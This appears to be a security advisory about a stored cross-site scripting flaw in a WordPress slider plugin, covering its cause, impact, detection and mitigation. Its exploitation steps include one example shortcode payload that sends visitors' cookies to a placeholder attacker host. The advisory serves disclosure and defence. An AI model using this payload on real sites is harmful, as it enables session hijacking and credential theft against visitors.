CVE-2026-1899: 
WordPress vulnerability analysis and mitigation

CVE-2026-1899 is a Stored Cross-Site Scripting (XSS) vulnerability in the Any Post Slider plugin for WordPress, affecting all versions up to and including 1.0.4. The flaw exists in the aps_slider shortcode's post_type attribute due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on March 21, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to sanitize user-supplied input passed to the post_type attribute of the aps_slider shortcode before rendering it in page output, enabling persistent script injection. An attacker with at least Contributor-level WordPress access can embed a malicious shortcode in a post or page; the injected script then executes in the browser of any user who visits that page. The vulnerable code path is visible in the plugin's public partial template any-post-slider-no_content.php (Wordfence, WordPress Trac).

Successful exploitation allows injected scripts to execute in the context of any visitor's browser session on the affected WordPress site, enabling session hijacking, credential theft, defacement, or redirection to malicious sites. Because the payload is stored server-side, all users who access the compromised page are affected without any further attacker interaction. The scope is changed (S:C), meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1899 as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running Any Post Slider ≤ 1.0.4.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post/page where shortcodes are rendered.
3. Inject Malicious Shortcode: Insert the aps_slider shortcode with a crafted post_type attribute containing a JavaScript payload, e.g., [aps_slider post_type="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Page: Save and publish the post so the malicious shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the injected page, the unsanitized post_type value is rendered into the HTML output and the script executes in their browser, enabling session theft or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing aps_slider shortcode with unusual post_type values including HTML tags or JavaScript.
• Database: Posts or pages in the wp_posts table containing [aps_slider shortcodes with post_type attributes that include <script>, javascript:, or encoded variants (<script>, %3Cscript%3E).
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the aps_slider shortcode, potentially carrying cookie or session data in query parameters.
• File System: Unexpected modifications to plugin files under wp-content/plugins/any-post-slider/ that may indicate further tampering after initial XSS exploitation.

Users should check the WordPress plugin repository for an updated version of Any Post Slider that addresses this vulnerability, as versions up to and including 1.0.4 are confirmed affected. If no patched version is available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also audit existing posts and pages for malicious aps_slider shortcode usage and restrict Contributor-level account creation to trusted users (Wordfence, WordPress Plugin Page).

Wordfence disclosed and assigned this CVE as part of their weekly WordPress vulnerability report for the period of March 16–22, 2026, highlighting it among other plugin vulnerabilities tracked that week (Wordfence Weekly Report). No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been identified.